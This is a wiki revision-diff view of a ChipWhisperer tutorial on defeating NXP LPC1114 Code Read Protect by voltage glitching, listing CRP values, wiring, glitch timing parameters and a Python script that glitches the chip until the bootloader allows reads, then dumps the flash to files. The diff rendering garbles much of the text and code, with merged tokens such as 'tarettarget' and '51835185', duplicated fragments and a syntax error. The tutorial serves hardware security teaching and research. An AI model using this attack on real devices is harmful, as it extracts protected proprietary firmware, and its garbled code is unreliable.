Changes

Tutorial A9 Bypassing LPC1114 Read Protect

2,990 bytes added, 18:50, 23 November 2018
Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory
== Background on Code Read Protect ==
To help protect proprietary code from being dumped via a bootloader or a debugging interface, many microcontrollers include some mechanism that locks down the flash and prevents reads. In the case of NXP's LPC1114, this is done by reading a value from flash during the boot sequence, with different values corresponding to different levels of protection. As is shown in the figure below, there are 4 levels of read protection, with the rest of the values representing an unlocked device. This makes this a great target for glitching, as corrupting one bit from this read will unlock the device and give us full access. Since higher CRP levels are harder (or in the case of CRP level 3, "impossible") to remove, we'll be using the device in CRP level 1.
 
{| class="wikitable"
!Name
!Value in FLASH
!JTAG/SWD
!Serial Bootloader (ISP)
|-
|NO_ISP
|0x4E697370
|enabled
|disabled.
|-
|CRP1
|0x12345678
|disabled
|Subset of commands only available. Read memory disabled. Sector erase and mass erase possible (which also removes CRP).
|-
|CRP2
|0x87654321
|disabled
|Subset of commands only available. Read memory disabled. Mass erase only (which also removes CRP).
|-
|CRP3
|0x43218765
|disabled
|disabled. Claimed impossible to recover from since no reprogramming interface.
|-
|INVALID
|Any other Value
|enabled
|enabled.
|}
This was first published by Chris Gerlinsky at RECON Brussels. You can see his [https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017-Breaking_CRP_on_NXP_LPC_Microcontrollers_slides.pdf slides here] or [https://www.youtube.com/watch?v=98eqp4WmHoQ watch his presentation here]. It was re-created by [https://toothless.co/blog/bootloader-bypass-part1/ Dmitry Nedospasov on his blog], which has additional details and examples of how you can achieve this attack.
 
We'll be recreating the attack with the ChipWhisperer, to show the value of this modular platform in quickly testing new attacks.
== Hardware Setup ==
# Connect pin 3 of UEXT (TXD) to pin 10 on the CW-Lite
# Connect pin 4 of UEXT (RXD) to pin 12 on the CW-Lite
# Connect RST (the 3 header pins soldered on) to pins 5 (nRST) and 14 (GPIO3) or 16 (GPIO4) on the CW-Lite
# Finally, attach an SMA cable between the one you added to the board and the GLITCH connector on the CW-Lite. If you'd like instead you can also use a SMA Tee to do both measurement & glitch.
This read can fail for a variety of reasons, but the one we are most interested in is error 19, which is returned when the read fails due to the device being in RDP mode.
== Setting up = Decoding UU Encoded Data ===[https://en.wikipedia.org/wiki/Uuencoding The UU Encoding Wikipedia page] is a good resource for UU encoding. Python includes functions for decoding UU strings to binary in the Glitch binascii module. Documentation can be found [https://docs.python.org/2/library/binascii.html here]. Note that the bootloader uses a backtick ('`') for 0 instead of a space (' '), meaning you need to replace the backticks with spaces in your UU Encoded string before decoding. Also note that the first character of a UU Encoded line is the length of the line + 32. This needs to be at the start of the line when it is passed to the decoding function. For an example, see the script at the bottom of this page. == Method 1 - ChipWhisperer Capture GUI ==
=== Firmware Setup ===
self.api = api
</syntaxhighlight>Add 2 methods, one for setting the reset pin low, and one for setting the reset pin high. Having two methods will help make triggering off the glitch more precise:<syntaxhighlight lang="python">
def rst_low(self, scope, target, project): self.scope.io.nrst = 'low' def rst_high(self, scope, target, project): self.scope.io.nrst = 'high'
</syntaxhighlight>Add a method to update the glitch parameters and tell the glitch explorer window about them. In this case, we care about the repeat (will determine how wide the glitch is) and the offset of the glitch from the trigger (how long after resetting the glitch happens). The following method covers a wide range, so you'll probably want to narrow things down a bit. Glitches between 5100 and 5300 with a repeat around 10 (on the board we used, glitching at 5211 with a repeat of 10 produced a lot of successes, while another worked better at 5181/11) seem to bypass the bootloader the best:<syntaxhighlight lang="python">
def update_parameters(self, scope,tarettarget,project):
scope.glitch.ext_offset += 1
if scope.glitch.ext_offset > 8000:
driver.write("R 0 4\r\n")
def rst_low(self, scope, target, project): self.scope.io.nrst = 'low'
def rst_high(self, scope, target, project): self.scope.io.nrst = 'high'
scope.adc.offset = 0
scope.clock.adc_src = "clkgen_x1"
scope.trigger.triggers = "tio3tio4"
scope.io.glitch_lp = True # this works, but doesn't update the GUI checkbox
scope.io.hs2 = None
</syntaxhighlight>
=== Using the Glitch Explorer ===
The last thing we need to do before beginning our glitches is to setup the Glitch Explorer to detect successful glitches. Since the bootloader sends back a specific error message when read protect is enabled, we can use that to tell if our glitch was successful or not. For example, you could search the string for "\r\n19\r\n" for a normal response, and search for "\r\n0\r\n for a successful response. Setup your Acquisition Settings to run for a while, and check back for successful glitches. If you're lucky, you'll find some glitches and can start reading flash memory.
=== GUI or Stand-Alone ===
 
This tutorial is split into two parts - the GUI part (here) and a stand-alone demo. You may find the stand-alone demo more useful and easier to run on your own, and is continued before.
 
Note that the stand-alone demo improves reliability by running the glitch with a 200 MHz CLKGEN frequency, giving you double the width and offset precision. In our testing that worked on a wider range of devices with the ChipWhisperer.
== Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory ==
The easiest way to fully automate the breaking/dumping process is to use ChipWhisperer entirely without the GUI. This involves making a loop running through what you would normally do in the GUI (so resetting, arming the scope, setting up the bootloader, etc). An example script that breaks the bootloader and dumps the flash memory in various formats (UU encoded, binary, and ASCII encoded) is shown below. This script is also much faster than the GUI, so it much better for breaking the bootloader as well.
For use without the CW GUI
"""
from __future__ import print_function
import sys
import numpy as np
import chipwhisperer as cw
from tqdm import trange
logging.basicConfig(level=logging.NOTSET)
scope = cw.scope()
target = cw.target(scope)
#Create and register glitcher
 
# Original attack done with 100 MHz clock - can be helpful to run this
# 2x faster to get better resolution, which seems useful for glitching certain boards
freq_multiplier = 2
#Initial Setup
scope.adc.offset = 0
scope.clock.adc_src = "clkgen_x1"
scope.trigger.triggers = "tio3tio4"
scope.io.glitch_lp = True
scope.io.hs2 = None
scope.io.tio2 = "serial_tx"
scope.adc.basic_mode = "rising_edge"
scope.clock.clkgen_freq = 100000000* freq_multiplier
scope.glitch.clk_src = "clkgen"
scope.glitch.trigger_src = "ext_single"
#wait for full response, since we need to make sure we don't throw off baud calc
self.read_line(0)
 
self.serial.write("Synchronized\r\n")
self.read_line(10)
#about these unexpected returns
if "19" not in s:
print ( "Unexpected error code " + s)
return False
def dump_flash(self, start_addr = 0, length = 0x8000, rd_len = 24):
if start_addr % 4:
print ("Address not 4 byte aligned!")
return -1
if length % 4:
print ("Length not 4 byte aligned!")
return -1
bin_file = open("bin_flash.bin", "wb")
print ("Doing loop") for i in rangetrange(start_addr, start_addr + length - 1, rd_len):
self.serial.write("R {:d} {:d}\r\n".format(i, rd_len))
err = self.read_line()
if "13" in err:
#addr err
print ("addr error: addr = {:d}".format(i))
return -1
flash = self.read_line(0)
if flash: data_len = ord(flash[0]) - 32 if rd_len != data_len: print ("Unexpected data_len {:x}, expected {:x}".format(data_len, rd_len)) print ("Actual flash: " + flash)
# Bootloader uses ` instead of space for 0 data = flash.replace('`', " ") checksum = self.read_line() #eat checksum for now, can check it later
self.serial.write("OK\r\n") try: uu_file.write("0x{:08x}: ".format(i) + data + "\n")
binary_data = binascii.a2b_uu(data) bin_file.write(binary_data) ascii_file.write("0x{:08x}: ".format(i) + str(binascii.hexlify(binary_data)) + "\n") except binascii.Error, as e: print ( "Invalid data: " + data) print ( "\nError: " + str(e) + "\n")
uu_file.close()
bin_file.close()
ascii_file.close()
return 0
Range = namedtuple("Range", ["min", "max", "step"])
offset_range = Range(5180*freq_multiplier, 51835185*freq_multiplier, 1)repeat_range = Range(98*freq_multiplier, 1315*freq_multiplier, 1)
scope.glitch.repeat = repeat_range.min
print ("Entering glitch loop")
# it may take quite a few cycles to get a glitch, so just attempt until we get it
s = glitcher.get_read_string()
print ( "Read string: " + s) print ( "Offset = {:04d}, Repeat = {:02d}".format(scope.glitch.ext_offset, scope.glitch.repeat))
if glitcher.check_err_rtn(s):
print ("Success!")
glitcher.dump_flash()
cleanup_exit()
scope.glitch.repeat += repeat_range.step
 
cleanup_exit()
 
def cleanup_exit():
scope.dis()
target.dis()
exit()
cleanup_exit()
</syntaxhighlight>
</syntaxhighlight>== Links == {{Template:Tutorials}}
Approved_users, administrator
366
edits